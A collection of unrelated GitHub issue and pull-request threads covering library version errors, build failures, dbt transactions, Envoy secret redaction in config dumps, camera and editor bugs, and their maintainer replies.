    class TMSBoundingBox(BaseModel):
  File "/usr/local/lib/python3.10/dist-packages/morecantile/models.py", line 104, in TMSBoundingBox
    type: str = Field("BoundingBoxType", const=True)
  File "/usr/local/lib/python3.10/dist-packages/pydantic/fields.py", line 715, in Field
    raise PydanticUserError('`const` is removed, use `Literal` instead', code='removed-kwargs')
pydantic.errors.PydanticUserError: `const` is removed, use `Literal` instead

For further information visit https://errors.pydantic.dev/2.0.1/u/removed-kwargs```

can you try downgrading pydantic to 1.*
python -m pip install pydantic~=1.0

if you update morecantile to the latest version it would also fix this.

That did it.. The morecantile upgrade did it.. thanks so much


Feature not supported: getType

Hello,
I am using Groovy, which has nice groovy.sql.Sql. I would like to use it with ksql and therefore I have installed your jdbc...
This is my simple code:
import groovy.sql.Sql
class GroSandbox02Main {
static void main(String[] args) {
java.sql.DriverManager.registerDriver(new com.github.mmolimar.ksql.jdbc.KsqlDriver())
Sql sqlKsql = Sql.newInstance('jdbc:ksql://localhost:8088')
String selStreams="""
SELECT * FROM policy EMIT CHANGES"""
sqlKsql.eachRow(selStreams) { GroovyResultSet rs ->
println rs
}
sqlKsql.close()
}
}
resulting in:
SELECT * FROM policy EMIT CHANGES because: Feature not supported: getType.
Exception in thread "main" java.sql.SQLFeatureNotSupportedException: Feature not supported: getType.
at com.github.mmolimar.ksql.jdbc.Exceptions$.wrapException(Exceptions.scala:83)
at com.github.mmolimar.ksql.jdbc.resultset.ResultSetNotSupported.getType(ResultSet.scala:19)
at groovy.sql.Sql.moveCursor(Sql.java:1277)
at groovy.sql.Sql.eachRow(Sql.java:1259)
at groovy.sql.Sql.eachRow(Sql.java:1219)
at groovy.sql.Sql.eachRow(Sql.java:1156)
at org.codehaus.groovy.vmplugin.v8.IndyInterface.fromCache(IndyInterface.java:318)
at com.tcc.GroSandbox02Main.main(GroSandbox02Main.groovy:12)
Can you help me? Thank you very much for this work...
Jirka

Yes, that feature is not supported yet in the driver and the getType method is called when iterating the result set with Groovy. You can iterate this result set in another way (Java/Scala style) and/or enable the feature in the class AbstractResultSet and returning ResultSet.TYPE_FORWARD_ONLY


:robot: Pin trivy version

Fixes: #1087

if this works possibly there is a regression, will create an issue on trivy if this confirms it

@mudler opensuse passed correctly which was the one that kept failing. Need to wait for the job to finish?


[SPIKE] Investigate state of transactions

Is this your first time submitting a feature request?

[X] I have read the expectations for open source contributors
[X] I have searched the existing issues, and I could not find an existing issue for this feature
[X] I am requesting a straightforward extension of existing dbt-redshift functionality, rather than a Big Idea better suited to a discussion

Describe the feature
Several issues already exist that even today, transactions are not working in dbt-redshift as they should
Similar to https://github.com/dbt-labs/dbt-core/issues/9980 but only for dbt-redshift. Less future looking, but rather backward looking. How can we get back to a previous state?
questions

Will https://github.com/aws/amazon-redshift-python-driver/issues/162 solve our problems, or is there more to do?
how does the autocommit parameter introduced in #475 affect transaction behavior?
is there a way to expose redshift_connector's .commit() method to users in jinja land instaed?

### Transaction-related open issues
- [ ] #521
- [ ] #663
- [ ] #693
- [ ] #741
- [ ] #766

Describe alternatives you've considered
No response
Who will this benefit?
No response
Are you interested in contributing this feature?
No response
Anything else?
No response

I want to add that is this a problem with the redshift version? Some people say it started in 1.5+. But once the bug was reported others have said if they downgraded from 1.5+ to 1.4 and 1.4 the error persists.
https://github.com/dbt-labs/dbt-redshift/issues/766#issuecomment-2078339621
https://github.com/dbt-labs/dbt-redshift/issues/501#issuecomment-1604466970

Update I was just notified that there is a patch P184 to be applied to Q3 2024 to fix some transactions

Updating this after having several conversations with the Redshift team - at this time, there is no fix for this issue since the Redshift Driver cannot support what dbt needs for transactions. Redshift team says there might be something coming after next year.


RandomSecret should set the ttl in kv secret

According to the documentation: https://www.vaultproject.io/docs/secrets/kv/kv-v1#ttls "Unlike other secrets engines, the KV secrets engine does not enforce TTLs for expiration. Instead, the lease_duration is a hint for how often consumers should check back for a new value. If provided a key of ttl, the KV secrets engine will utilize this value as the lease duration"
So ill just set set the "ttl" in the payload request equal to the RefreshPeriod.


As a user, I want to be able to append imported/exported data

...so that I can work more flexibly with patient information

Pull requests for Open, Save, Import, Export submitted.

PR approved and merged, thanks for the work!


🐛 It is not possible to record video and take photos at the same time on Android

What's happening?
It is not possible to record video and take photos at the same time on Android. i wanna implement taking photo when recording
Reproduceable Code
<ReanimatedCamera
  ref={camera}
  device={device}
  format={format}
  fps={fps}
  photoHdr={enableHdr}
  videoHdr={enableHdr}
  photo={true}
  video={true}
/>

Relevant log output
LOG  🔴 [ERROR] [12:44:17 4/19/2024]   Camera Error [session/recoverable-error: An unknown error occurred while creating the Camera Session, but the Camera can recover from it.]
[ERROR] [12:44:18 4/19/2024]   Take photo failed [unknown/unknown: Camera is closed.]

Camera Device
{
  "formats": [],
  "sensorOrientation": "landscape-left",
  "hardwareLevel": "full",
  "maxZoom": 10,
  "minZoom": 1,
  "maxExposure": 12,
  "supportsLowLightBoost": false,
  "neutralZoom": 1,
  "physicalDevices": [
    "wide-angle-camera"
  ],
  "supportsFocus": true,
  "supportsRawCapture": false,
  "isMultiCam": false,
  "minFocusDistance": 9.200000175476077,
  "minExposure": -12,
  "name": "0 (BACK) androidx.camera.camera2",
  "hasFlash": true,
  "hasTorch": true,
  "position": "back",
  "id": "0"
}

Device
LGE LM-V600
VisionCamera Version
4.0.0-beta.15
Can you reproduce this issue in the VisionCamera Example app?
Yes, I can reproduce the same issue in the Example app here
Additional information

[ ] I am using Expo
[ ] I have enabled Frame Processors (react-native-worklets-core)
[X] I have read the Troubleshooting Guide
[X] I agree to follow this project's Code of Conduct
[X] I searched for similar issues in this repository and found none.

This should work flawlessly, not sure why it breaks for you.
I currently don't have time to investigate this, so what you can do is:

either you can try to hunt down the bug in VisionCamera yourself by first trying to create a native Java Android app with CameraX, and then seeing if the issue can be reproduced there
or pay me to fix the issue for you

But either way, the logs you posted are definitely not enough for this and you need to pull native adb logcat logs. Not sure why everyone misses that

Can you still reproduce this in VisionCamera 4.0.0?

Can you still reproduce this in VisionCamera 4.0.0?

I tested on V 4.0.0 but it doesn't work. I see the problem in Android Studio's logs

hm, really weird. That sounds like a CameraX bug.

I encountered a similar issue in production. Same device.
# Application: com.***.***
# Platform: android
# Version: 1.3.0 (149)
# Issue: 4e648d4455f2a8c193254d888a0eb86b
# Session: 66E049240050000123E213B233D61E60_DNE_1_v2
# Date: Tue Sep 10 2024 07:28:38 GMT-0600 (Mountain Daylight Time)

Non-fatal Exception: io.invertase.firebase.crashlytics.JavaScriptError: Failed to configure the Camera Session because the output/stream configurations are invalid!
       at .<unknown>(Camera Error)
       at .construct((native):0:0)
       at .apply((native):0:0)
       at ._construct(b9d939a775424bd9c9095691b72c513f:1:148214)
       at .Wrapper(b9d939a775424bd9c9095691b72c513f:1:147868)
       at .construct((native):0:0)
       at ._callSuper(b9d939a775424bd9c9095691b72c513f:1:747805)
       at .CameraError(b9d939a775424bd9c9095691b72c513f:1:748209)
       at .construct((native):0:0)
       at ._callSuper(b9d939a775424bd9c9095691b72c513f:1:747805)
       at .CameraRuntimeError(b9d939a775424bd9c9095691b72c513f:1:748721)
       at .onError(b9d939a775424bd9c9095691b72c513f:1:745078)
       at .apply((native):0:0)
       at .invokeGuardedCallbackImpl(b9d939a775424bd9c9095691b72c513f:1:388317)
       at .apply((native):0:0)
       at .invokeGuardedCallback(b9d939a775424bd9c9095691b72c513f:1:388374)
       at .apply((native):0:0)
       at .invokeGuardedCallbackAndCatchFirstError(b9d939a775424bd9c9095691b72c513f:1:388406)
       at .executeDispatch(b9d939a775424bd9c9095691b72c513f:1:388535)
       at .executeDispatchesAndReleaseTopLevel(b9d939a775424bd9c9095691b72c513f:1:391933)
       at .call((native):0:0)
       at .forEachAccumulated(b9d939a775424bd9c9095691b72c513f:1:390011)
       at .anonymous(b9d939a775424bd9c9095691b72c513f:1:392296)
       at .batchedUpdatesImpl(b9d939a775424bd9c9095691b72c513f:1:459215)
       at .batchedUpdates$1(b9d939a775424bd9c9095691b72c513f:1:391849)
       at ._receiveRootNodeIDEvent(b9d939a775424bd9c9095691b72c513f:1:392134)
       at .receiveEvent(b9d939a775424bd9c9095691b72c513f:1:453955)
       at .apply((native):0:0)
       at .__callFunction(b9d939a775424bd9c9095691b72c513f:1:136772)
       at .anonymous(b9d939a775424bd9c9095691b72c513f:1:135212)
       at .__guard(b9d939a775424bd9c9095691b72c513f:1:136153)
       at .callFunctionReturnFlushedQueue(b9d939a775424bd9c9095691b72c513f:1:135170)```

I have the same issue, want to snap photos or take videos, simple user interface request. Doesn't seem possible in Expo-camera 😢
I seriously regret choosing expo as a framework, seems like it's not maintained.


Status on worker.py

Is there any way to have a live log/debug showing on worker.py?
Or at least a bit more of info.
PokeMiner	running for 0:02:51.943190 3 workers, each visiting ~116.666666667 points per cycle (min: 112, max: 126) Status: Scanning/Fail to Connect/Offline/Error
As right now it's hard to see when the servers are down. It's a minor thing...

I think you mean this: python worker.py --no-status-bar

that was easy 👍


Timer

The timer starts and the first question appears.
If the answer clicked was incorrect then subtract time from the clock.
The quiz should end when all questions are answered or the timer reaches

The timer starts and the first question appears.
If the answer clicked was incorrect then time is subtracted from the clock.


Updating googletest 1.11.0

resolves #___
Summary of proposed changes:

Please go ahead with a squash-and-merge.


Settings open known invalid json file.

Type: Bug
Some settings warn you that they only affect certain scopes. They then provide a link to edit the file; however, the linked file doesn't take the correct scope into account.
If I am in User scope, clicking a link provided by a warning indicating workspace scope is needed will still open the User scoped file and populate an entry with the known invalid setting.
Why? It knows this won't work in this file. It knows I need the workspace scope. Why not open the workspace's JSON? At the very least, provide a link to the same page/setting in the Workspace tab, then I can click on its link to open the correct file.
This is a pathetically easy to predict issue with multiple pathetically easy resolutions - it boggles the mind to believe someone with human intelligence implemented it in this fashion to begin with!
VS Code version: Code 1.77.3 (704ed70d4fd1c6bd6342c436f1ede30d1cff4710, 2023-04-12T09:16:02.548Z)
OS version: Windows_NT x64 10.0.19045
Sandboxed: No
Remote OS version: Linux x64 <IP_ADDRESS>-microsoft-standard-WSL2

Please provide an example.

This is a pathetically easy...

Please don't be offensive. Language like this is unlikely to motivate developers to improve the product.

This issue has been closed automatically because it needs more information and has not had recent activity. See also our issue reporting guidelines.
Happy Coding!


Feature/ticket 1159 nxext stencil vue integration

https://github.com/nxext/nx-extensions/issues/1159

@NickersWeb you could use the e2e test for that. There are playground scripts but I'm not sure they're still working. I havent used them some time

@DominikPieper As mentioned here: https://discord.com/channels/1143497901675401286/1314674305480790108/1316479200655442010 - I have encountered issues when trying to test these changes locally.


ocamlPackages.ocsigen_server: 2.11.0 → 2.15.0; ocamlPackages.ssl: 0.5.5 → 0.5.9

Motivation for this change
Compatibility with OCaml 4.08.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nix-review --run "nix-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

Notify maintainers
cc @maggesi (ssl) @FlorentBecker (ocsigen_server)

@GrahamcOfBorg build trv opa

The trv failure on darwin seems to be a regression.

@GrahamcOfBorg build ocamlPackages.cohttp-lwt-unix

Yes, on macos 10.13 I get a failure:
builder for '/nix/store/qp0k5ncjm3gy1f0cggw2iwk4x2yra6h9-ocaml-cohttp-0.19.3.drv' failed with exit code 2; last 10 log lines:
    "_X509_get_subject_name", referenced from:
        _client_verify_callback in libssl_stubs.a(ssl_stubs.o)
        _ocaml_ssl_get_subject in libssl_stubs.a(ssl_stubs.o)
  ld: symbol(s) not found for architecture x86_64
  clang-7: error: linker command failed with exit code 1 (use -v to see invocation)
  File "caml_startup", line 1:
  Error: Error during linking
  Command exited with code 2.
  E: Failure("Command ''/nix/store/sqr051rii5hmjsqwakqcfs6msyn30297-ocaml-4.02.3/bin/ocamlbuild' lib/cohttp.cma lib/cohttp.cmxa lib/cohttp.a lib/cohttp.cmxs top/cohttp_top.cma top/cohttp_top.cmxa top/cohttp_top.a top/cohttp_top.cmxs lwt-core/cohttp_lwt.cma lwt-core/cohttp_lwt.cmxa lwt-core/cohttp_lwt.a lwt-core/cohttp_lwt.cmxs lwt/cohttp_lwt_unix.cma lwt/cohttp_lwt_unix.cmxa lwt/cohttp_lwt_unix.a lwt/cohttp_lwt_unix.cmxs async/cohttp_async.cma async/cohttp_async.cmxa async/cohttp_async.a async/cohttp_async.cmxs bin/cohttp_server_async.native bin/cohttp_curl_async.native bin/cohttp_server_lwt.native bin/cohttp_proxy_lwt.native bin/cohttp_curl_lwt.native examples/async/hello_world.native examples/async/receive_post.native examples/doc/client_lwt.native examples/doc/server_lwt.native -tag debug -classic-display' terminated with error code 10")
  make: *** [Makefile:20: build] Error 1

Thanks for testing. Would you have a hint on how to fix such linking issue?

@GrahamcOfBorg build ocamlPackages.cohttp-lwt-unix trv opa


spm-21.9.0 kubeVersion incompatible with Kubernetes version

Hi we just pulled the latest from github onto a machine that had an earlier version in place. Now getting this error when we try to do a helm install:
install.go:190: [debug] CHART PATH: /home/vnc/.cache/helm/repository/spm-21.9.0.tgz
Error: chart requires kubeVersion: >=1.19 which is incompatible with Kubernetes v1.22.0-rc.0+894a78b
helm.go:81: [debug] chart requires kubeVersion: >=1.19 which is incompatible with Kubernetes v1.22.0-rc.0+894a78b
does something need to be updated in the machine configuration?
Here is the helm install command we are running:
helm install release1 local-development/spm -f ~/Downloads/crc-values.yaml --timeout "15m0s"   --debug

@podgek i am going to reopen this one for tracking purposes. the charts in this repo do require a fix

Closing.  updated as part of V8.0.1 December release


consolidate keg and cask instructions

Description of changes:
There's no longer any need to differentiate between keg and cask packaging for upgrade, install, or remove
Corrected syntax of tap and untap examples provided
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Thanks for opening a pull request for these changes. We're currently reviewing the contribution and will post updates in this pull request.


[RAILS] Fixed 03-expert.rb set tracer only in dev env

The variable tracer is only defined in Rails development env, so we only can set them in that env.

thanks @timoschilling !


Bracketed paste doesn't work with ConEmu

I'm using elvish with ConEmu, which will add [200~ and [201~ when pasting text into the terminal. However, elvish seems do not handle it properly, leaving the surrounding control sequences unremoved.
According to a contributor (issue link), elvish supports bracketed paste. I tried searching the docs, and find that there is only one option related to bracketed paste. However, it does not work for me (no any change after setting it to $true or $false).
I'm not sure if there are some error in my config. I also tried removing the config file and letting elvish to run with its default config. Still, it does not works.
Screenshots: (elvish, powershell, and WSL's bash):

The Windows build has a different input reader that doesn't handle VT input sequences at all, so the bracketed paste handling code is left out too. In light of the discussion in #1744 eventually I'll just use the same VT sequence-based input reader, but before that happens it'd make sense to graft the bracketed paste handling code to the Windows input reader too.


Rename main node no change in the linked scene

Tested versions
Godot v4.2.1.stable.mono.official (Forward+)
System information
Windows 10 - Godot v4.2.1.stable.mono.official (Forward+)
Issue description
Recognised only for control nodes. Do not know whether this is also the case for other nodes.
If you rename the main node in a scene and this scene is already linked in another scene. Then the new name is not adopted in the linking of the scene.
All changes to the child nodes are transferred in the linked scene.
Idea
If this is not desired. The system will not ask you whether you want to keep the old name or whether you want to update the name.
Perhaps it would be good to leave the choice to the developer. Update the name or keep the old one? The system starts a query or can even specify this in the settings - accept directly or ask beforehand.
Steps to reproduce

Build a scene A as main node control with child nodes. Link this scene A to a scene B.
Change the name of the main node to scene A.
Save the scene A
Result: The main node of the linked scene A has not been renamed in scene B.

Minimal reproduction project (MRP)
N/A

This is expected, the instanced scene has a local name, it's not designed to change like this, it'd have to detect if it was still the old name and then update, which would be complicated, and I'd say most wouldn't expect it
I'd say this is a complicated thing to implement and with little return value, IMO not worth it
This should be a proposal instead as it's not a bug, but a new feature, and better discussed there, so please open an issue there 🙂

Automatically updating node name is rarely desired, it can break some code.
Though we have autonaming functionality for plain nodes - if you rename them to empty name, their will revert to their original name. We could extend it to instances and if you remove instance name, it could revert to the name in base scene (right now it reverts to node class name).

Automatically updating node name is rarely desired, it can break some code. Though we have autonaming functionality for plain nodes - if you rename them to empty name, their will revert to their original name. We could extend it to instances and if you remove instance name, it could revert to the name in base scene (right now it reverts to node class name).

I've worked a bit more with Godot now and you're right, it's less intentional.

We could extend it to instances and if you remove instance name, it could revert to the name in base scene (right now it reverts to node class name).

I like the idea that when you delete the name, the instantiated scene goes back to the base node name.
Make it better recognisable
However, it would be better to show that a linked scene receives the node name and not the base name.
e.g. see picture and in the documentation or use other markers, colours, symbols.


Projections Not Working In Mongo Scrapbooks

It looks like projections are being ignored in Mongo Scrapbooks. Instead, the entire document is returned. To replicate...
Reproduce
Insert the following record....
db.heroes.insert({
  "id": 2,
  "name": "Batman",
  "saying": "I'm Batman"
})

Create a new Mongo DB Scrapbook and run the following query...
db.heroes.find({ id: 2 }, { saying: 1 })

Expected Result
{ "_id" : "59f8f9179c16bb075e1da18e", "saying" : "I'm Batman" }

Actual Result
{
  "_id": "59f8f9269c16bb075e1da18f",
  "id": 2,
  "name": "Batman",
  "saying": "I'm Batman",
  "__v": 0
}

Note that this query returns the proper result when run from the Mongo Shell

Moved to 0.6.0.

Marking as closed, fixed by #460


Website: bootstrap script is broken

What happened?
I think the bootstrap.min.js is broken for some reason on prql-lang.org homepage. As a result, links to e.g. "Friendly syntax" is not clickable.
Browsers: Firefox, Chrome, latest versions.
The following is in browser console:
Uncaught SyntaxError: expected expression, got keyword 'case'     [bootstrap.bundle.min.js:6:29460](https://prql-lang.org/plugins/bootstrap/bootstrap.bundle.min.js)

PRQL input
N/A

SQL output
N/A

Expected SQL output
N/A

MVCE confirmation

[X] Minimal example
[X] New issue

Anything else?
No response

Thank you v much for raising @dlazerka . I just submitted a fix.


Why not support leak currents?

Hi everyone,
first of all I want to thank you for the easy to use package.
The one thing that I (from the view of my current project) don't understand, is the lack of support for leak currents. As far as I understand the HEKA Patchmaster manual, the data is stored leak substracted anyway so it should at least be possible to retrieve them from the file. I modified the code to be able to do that but I assume that there is a good reason as to why that is not ideal. Is it because of previous file versions?

Hi @LeMuellerGuy, that's great to hear you are finding the package useful.
There isn't a strong reason why leak currents are not supported by default, past the fact it slightly complicated testing during the initial development. In general the strategy was to limit the scope of the package at the start and gradually expand it's scope when the need arose, to allow testing across all of the versions to proceed manageably. As such this would be a good time to add support for leak currents! Would you be interested in opening a PR with what you have so far or alternatively pasting some code snippets here? Thanks!

Hey @LeMuellerGuy, coincidentally another user also had the same question and some changes have been made to support leak files; it is working now for their test file. This add supports for leak channels and slightly reorganises the syntax for get_series_data(). Whereas previously the first argumnet was "Im" or "Vm", now the data retrieval is strictly based on channel index. So a call would be like:
get_series_data(self, group_idx, series_idx, channel_idx
It would be great if you could pull the post recent version of main and check it works on your data, cheers!

Hi @LeMuellerGuy do you think you will get a chance to test this?


inconsistent implementation of styled props for hd.tooltip

Describe the bug
hd.tooltip implements Styled but has some inconsistent styling applied. For example:

Setting 'width' doesn't change the tooltip's width, but does set the width of the content the tooltip definition wraps.
Whereas 'font_size' and 'background_color' have no impact.

I had been expecting to be able to customize the appearance of the tooltip.
This is a very low priority issue from my perspective, just noting it.
 How dare it!")

 How dare it!")

I think being able to style the tooltip container itself probably doesn't make sense, so it probably shouldn't inherit from Styled.

I think the unintuitive part here is that hd.tooltip() is not the actual popup, it's an "activation container" within which you can put components. When you mouse over the activation container, the actual popup container is made visible.
I think I will leave Styled as a base class because in some niche cases it does make sense to style that container. I can think of having to set width/grow/basis to control layout when nesting tooltip'd components in boxes.
The main bug here is incomplete documentation I think.


Unable to deploy app: "Request is missing the pull request id."

Describe the bug
Can't deploy a simple html and css file from a local folder, because of "Request is missing the pull request id.".
To Reproduce
swa deploy --deployment-token REDACTED

Response:
Welcome to Azure Static Web Apps CLI (1.1.7)

***********************************************************************
* WARNING: Running in dry run mode. This project will not be deployed *
***********************************************************************

Deploying front-end files from folder:
  C:\REDACTED\dist

Consider providing api-language and version using --api-language and --api-version flags,
    otherwise default values apiLanguage: node and apiVersion: 16 will apply

Deploying to environment: preview

Deploying project to Azure Static Web Apps...
ℹ DeploymentId: 03ad169d-dbd7-4138-a766-141de4c4afca
ℹ Looking for event info
ℹ The content server has rejected the request with: BadRequest
ℹ Reason: Request is missing the pull request id.
ℹ For further information, please visit the Azure Static Web Apps documentation at https://docs.microsoft.com/en-us/azure/static-web-apps/
ℹ If you believe this behavior is unexpected, please raise a GitHub issue at https://github.com/azure/static-web-apps/issues/

(Note: only the dry run shows any error, otherwise the app exits without any feedback. Azure/static-web-apps-cli#816)
Azure Portal still shows "Uploading":

Expected behavior
Be able to deploy a hello world level app.
Device info (if applicable):

SWA: 1.1.7
OS: Windows 11 23H2 22631.3296
Node: 20.5.0

Additional context
Add any other context about the problem here.

Hello,
Any update on this issue? I am facing the same.

While this obviously should not happen, I have succeeded after running the swa deploy command in the parent folder of the folder that is being published. Also if someone stumbles here while trying to push database configs unsuccessfully, it also seems that the staticwebapp.database.config.json should not be in the same folder where the swa deploy command is being ran.

Facing same issue here with command:
 swa deploy -d TOKEN --dry-run
Deploying project to Azure Static Web Apps...
ℹ DeploymentId: 057cdbbe-9175-45db-8f20-54dc0183aa8d
ℹ Looking for event info
ℹ The content server has rejected the request with: BadRequest
ℹ Reason: Request is missing the pull request id.
ℹ For further information, please visit the Azure Static Web Apps documentation at https://docs.microsoft.com/en-us/azure/static-web-apps/
ℹ If you believe this behavior is unexpected, please raise a GitHub issue at https://github.com/azure/static-web-apps/issues/


Address Findbugs and PMD warnings

#241 (FindBugs and PMD)

FindBugs: use StringBuilder in a loop for string concat (2 instances)
PMD: mostly about combining nested if-statements and ignoring empty catch-blocks, plus some minor things

I'd like to leave the breaking up of conditionals into nests up to the discretion of the author as much as possible. Sometimes it's more readable to nest.. In these particular cases I'm not strongly opionionated.

LGTM once elharo's comment is addressed.
On Mon, Mar 14, 2016 at 5:01 PM, Chanseok Oh<EMAIL_ADDRESS>wrote:

Assigned #501
https://github.com/GoogleCloudPlatform/gcloud-intellij/pull/501 to
@patflynn https://github.com/patflynn.
—
Reply to this email directly or view it on GitHub
https://github.com/GoogleCloudPlatform/gcloud-intellij/pull/501#event-589372974
.

(not that I have an opinion)
On Mon, Mar 14, 2016 at 5:51 PM, Patrick Flynn<EMAIL_ADDRESS>wrote:

LGTM once elharo's comment is addressed.
On Mon, Mar 14, 2016 at 5:01 PM, Chanseok Oh<EMAIL_ADDRESS>wrote:

Assigned #501
https://github.com/GoogleCloudPlatform/gcloud-intellij/pull/501 to
@patflynn https://github.com/patflynn.
—
Reply to this email directly or view it on GitHub
https://github.com/GoogleCloudPlatform/gcloud-intellij/pull/501#event-589372974
.

I agree about the nested if's. I'll revert most of the changes back (this would introduce // NOPMD comments). I'll combine only if they are very short.

Reverted most of the combined if's. I'll merge it soon.


Pointer events in WASM

Pass in pointer/touch events from the User into the current StateMachineInstance

pointerUp, pointerMove, pointerDown

To do this, will likely need to roll the submodule/rive-cpp forward to head. See https://www.notion.so/rive-app/Rive-cpp-API-updates-02dc575e12e648eb9799ca0ef4e86012

Done with #223


api: add 'redacted' option for protobuf messages, and redact SSL certs

Add 'redacted' option for protobuf messages, and a MessageUtil::redact() function to clear messages with this option. Apply this to SSL certs in the admin config_dump.
Risk Level: low
Testing: forthcoming
Docs Changes: TBD. It might be worth mentioning this behavior in the docs, not sure...
Release Notes: n/a
Signed-off-by: Dan Rosen<EMAIL_ADDRESS>

/review @htuch

WDYT of simply populating the cert with a hashed version of the cert? It might be a lot less code. What're the pros & cons?

@jmarantz: I think my current approach isn't a tremendous amount of code, and it's general purpose: anything else in the config dump that needs to be redacted can use this mechanism. See e.g. https://github.com/envoyproxy/envoy/blob/master/source/common/secret/secret_manager_impl.cc#L118.

Big +1 for implementing this. We need this for tapping and other general data exfiltration issues.

/cc @incfly

WDYT of simply populating the cert with a hashed version of the cert? It might be a lot less code. What're the pros & cons?

Istio builds some tooling to actually get the cert and parse out the expiration time for troubleshooting.
Only clearing the private key and password is good enough and above tooling would still work.

@htuch thanks for your help; I think this is ready for a second look.

/retest

@mergeconflict this looks fairly solid now. I think you should add some user facing docs as well in https://www.envoyproxy.io/docs/envoy/latest/operations/admin discussing redaction and the limits (use RST warning boxes ideally).
There's some coverage missing, see https://307653-65214191-gh.circle-artifacts.com/0/coverage/coverage/proc/self/cwd/source/common/protobuf/utility.cc.html#L588
@PiotrSikora @lizan anything that I might have missed regarding redacting certs embedded in transport socket opaque config?

@htuch Thanks!
@lambdai I'm not sure what that means.

Could update the existing sanitization of SDS secrets in /config_dump to this (see: #7365)?
This would make it easier to notice changes (if any) between your approach and what was done there.

I just took a pass at this, adding the new sensitive annotation to TlsSessionTicketKeys.keys. A few existing tests in SecretManagerImplTest fail, because I have no way to selectively redact DataSource.inline_string and not DataSource.filename. That is, the tests expect that filenames shouldn't be redacted; @lizan noticed this as well. @PiotrSikora is this an acceptable change?

As long as cert can be retained, I think it's okay for us to debugging.
Key file path redacted is fine to me.
On Thu, Dec 19, 2019, 2:51 PM Dan Rosen<EMAIL_ADDRESS>wrote:

Could update the existing sanitization of SDS secrets in /config_dump to
this (see: #7365 https://github.com/envoyproxy/envoy/pull/7365)?
This would make it easier to notice changes (if any) between your approach
and what was done there.
I just took a pass at this, adding the new sensitive annotation to
TlsSessionTicketKeys.keys. A few existing tests in SecretManagerImplTest
fail, because I have no way to selectively redact DataSource.inline_string
and not DataSource.filename. That is, the tests expect that filenames
shouldn't be redacted; @lizan https://github.com/lizan noticed this as
well. @PiotrSikora https://github.com/PiotrSikora is this an acceptable
change?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/envoyproxy/envoy/pull/9315?email_source=notifications&email_token=AAMVXB3B3EZZ3PK2Z7CV6QDQZP3FXA5CNFSM4JZSI2K2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEHLJORI#issuecomment-567711557,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAMVXB65ZGFQCVAAMFPLWVDQZP3FXANCNFSM4JZSI2KQ
.

Yes, this is fine as long as certificate path is visible.
I was also trying to verify that fields are only redacted when set, and not always.

@PiotrSikora @incfly ok, I've posted an update! So you'll notice filenames are always redacted, but another change I didn't mention is that DataSource.inline_bytes is redacted as well. In the original implementation it's converted to a string, but in mine it's cleared. Is that an acceptable change? It's hard to handle this generically.

@mergeconflict what do you mean it's cleared? Changed to [redacted] or completely removed?

Nevermind, I see it. My preference would be to convert it to inline_string: [redacted], since inline_string and inline_bytes are semantically the same, the only difference is in encoding.

@PiotrSikora @incfly I've implemented special-case handling for DataSource to keep the behavior of the previous secret manager implementation. I don't really like it -- it's not terrible, but I'd be happier without it -- so I'm hoping you can take a look at it and decide if it's worthwhile. Let me know what you think.

/retest

@htuch @incfly @PiotrSikora ready for another look, thanks!

PrivateKeyProvider.config and PrivateKeyProvider.typed_config should be also redacted, IMHO.

That's a change from the current behavior. I really want to limit the scope of this to just the fields we previously redacted in SecretManagerImpl's redactSecret, and treat any changes beyond that incrementally. Is that ok?

That's a change from the current behavior. I really want to limit the scope of this to just the fields we previously redacted in SecretManagerImpl's redactSecret, and treat any changes beyond that incrementally. Is that ok?

Sure, that's fine.


Integration not found

Hi,
I was using this integration (EU) to my satisfaction but after I updated it today (via HACS) and restarted it gave me error integration not found.
So I removed the integration in HACS, be sure it's removed in .config\custom_components and after reboot I re-added it again followed by another boot.
This time no error, integration found in HACS but not in HA. Just no Resmed integration found.
What is wrong?

Never mind, after an hour I looked again and then it suddenly appeared.


[CT-247] Support multiple unique_key for delete+insert incremental models (Postgres/Redshift/Snowflake/etc)

I'd previously thought this would be harder than it is: https://github.com/dbt-labs/dbt-core/pull/4618#discussion_r791444227
When unique_key is a list, all we need to do is adjust the delete statement:
https://github.com/dbt-labs/dbt-core/blob/1df7a029b4be7c5b79e09bfbcd8ade657df6923e/core/dbt/include/global_project/macros/materializations/models/incremental/merge.sql#L50-L56
To use using, which should enable multiple unique_key match conditions. Something like:
delete from analytics.my_model a
using my_model__dbt_tmp b
where a.unique_column_1 = b.unique_column_1
  and a.unique_column_2 = b.unique_column_2
  ...

And a test for it, of course :)

@jtcohen6 is this for every adapter? Basically is that what "etc." meant?

@leahwicz This change is relevant to any adapter that uses default__get_delete_insert_merge_sql. Postgres, Redshift, and Snowflake (specifically the delete+insert incremental strategy) are the only ones we need to be conscious of ourselves.

resolved by https://github.com/dbt-labs/dbt-core/pull/4858


AttributeError: module 'triton' has no attribute 'jit'

Describe the bug
Building triton from source using scripts/compile-triton.sh doesn't allow running example 1 -- triton kernel as the error AttributeError: module 'triton' has no attribute 'jit' is raised.
This issue was resolved in issue #2099 and issue #1693. A temporary solution was replacing pip install -v -e '.[build,tests]' with python setup.py install as suggested by the other issues
Environment details
Latest triton version (just pulled from main), A770 GPU

It sounds like there was a build failure somewhere - do you have any log files from the build that you can share with us?

I just re-compiled with   pip install -v -e '.[build,tests]' and get AttributeError: module 'triton' has no attribute 'jit'
This is the build log:
Uploading build.log…

A possible cause of this issue can be having a directory called triton being present in your current directory or one of the directories specified in PATH or PYTHON_PATH this would result in this directory being imported instead of installed triton.  I had faced this issue when I had cloned the triton repo in my current directory where I executed my programs.
Could you share the  output of below script and the "pip list"
import triton
print(triton.__path__)
print(dir(triton))

The triton.__path__ should be ideally "/PATH_TO_TRITON/intel-xpu-backend-for-triton/python/triton" which should be same as the path mentioned in pip list.
Remove or rename any conflicting local "triton" directories if they are present in your path, and python should then use the properly installed package instead.

